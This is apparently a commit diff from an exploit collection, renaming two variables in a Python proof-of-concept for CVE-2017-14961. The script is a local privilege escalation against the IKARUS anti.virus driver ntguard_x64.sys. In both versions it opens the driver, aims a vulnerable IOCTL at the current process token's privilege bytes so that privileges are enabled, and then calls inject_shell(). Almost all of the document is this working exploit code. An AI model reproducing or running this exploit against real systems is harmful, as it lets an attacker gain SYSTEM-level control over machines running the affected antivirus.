old_contents: #discovery by @ParvezGHH
  #vulnerability description: https://www.greyhathacker.net/?p=995
  
  from kex import *
  from ctypes import *
  from ctypes.wintypes import *
  import os
  
  if __name__ == '__main__':
  
  	print "[*] IKARUS anti.virus (ntguard_x64.sys) local privilege escalation"
  	print "[*] Will only work from medium integrity process"
  	print "[*] CVE-2017-14961"
  	
  	IOCTL_VULN	= 0x8300000c
  	DEVICE_NAME   = "\\\\.\\ntguard"
  	dwReturn	  = c_ulong()
  	print '[*] Trying to open ntguard'
  	driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
  	if driver_handle == INVALID_HANDLE_VALUE:
  		print "[-] Coudn't open driver, exiting..."
  		sys.exit(-1)
  
  	print '[+] Opened ntguard'
  	token_address = token_address_of_process(HANDLE(kernel32.GetCurrentProcess()), os.getpid())
  	_SEP_TOKEN_PRIVILEGES = 0x40
  	t1 = token_address + _SEP_TOKEN_PRIVILEGES + 0x2
  	t2 = token_address + _SEP_TOKEN_PRIVILEGES + 0xa
  	
  	inputbuffer = None
  	inputbuffer_size = 0
  	outputbuffer_size = 0
  	IoStatusBlock = c_ulonglong()
  	print "[*] Talking to the driver sending vulnerable IOCTL..."
  	
  	kernel32.DeviceIoControl(driver_handle, IOCTL_VULN, inputbuffer, inputbuffer_size, t1, outputbuffer_size, byref(IoStatusBlock), None);
  	kernel32.DeviceIoControl(driver_handle, IOCTL_VULN, inputbuffer, inputbuffer_size, t2, outputbuffer_size, byref(IoStatusBlock), None);
  	inject_shell()
  
  
new_contents: #discovery by @ParvezGHH
  #vulnerability description: https://www.greyhathacker.net/?p=995
  
  from kex import *
  from ctypes import *
  from ctypes.wintypes import *
  import os
  
  if __name__ == '__main__':
  
  	print "[*] IKARUS anti.virus (ntguard_x64.sys) local privilege escalation"
  	print "[*] Will only work from medium integrity process"
  	print "[*] CVE-2017-14961"
  	
  	IOCTL_VULN	= 0x8300000c
  	DEVICE_NAME   = "\\\\.\\ntguard"
  	dwReturn	  = c_ulong()
  	print '[*] Trying to open ntguard'
  	driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
  	if driver_handle == INVALID_HANDLE_VALUE:
  		print "[-] Coudn't open driver, exiting..."
  		sys.exit(-1)
  
  	print '[+] Opened ntguard'
  	token_address = token_address_of_process(HANDLE(kernel32.GetCurrentProcess()), os.getpid())
  	SEP_TOKEN_PRIVILEGES = 0x40
  	token_PresentByteOffset = token_address + SEP_TOKEN_PRIVILEGES + 0x2
  	token_EnableByteOffset = token_address + SEP_TOKEN_PRIVILEGES + 0xa
  	
  	inputbuffer = None
  	inputbuffer_size = 0
  	outputbuffer_size = 0
  	IoStatusBlock = c_ulonglong()
  	print "[*] Talking to the driver sending vulnerable IOCTL..."
  	
  	kernel32.DeviceIoControl(driver_handle, IOCTL_VULN, inputbuffer, inputbuffer_size, token_PresentByteOffset, outputbuffer_size, byref(IoStatusBlock), None);
  	kernel32.DeviceIoControl(driver_handle, IOCTL_VULN, inputbuffer, inputbuffer_size, token_EnableByteOffset, outputbuffer_size, byref(IoStatusBlock), None);
  	inject_shell()
  
  
subject: rename variables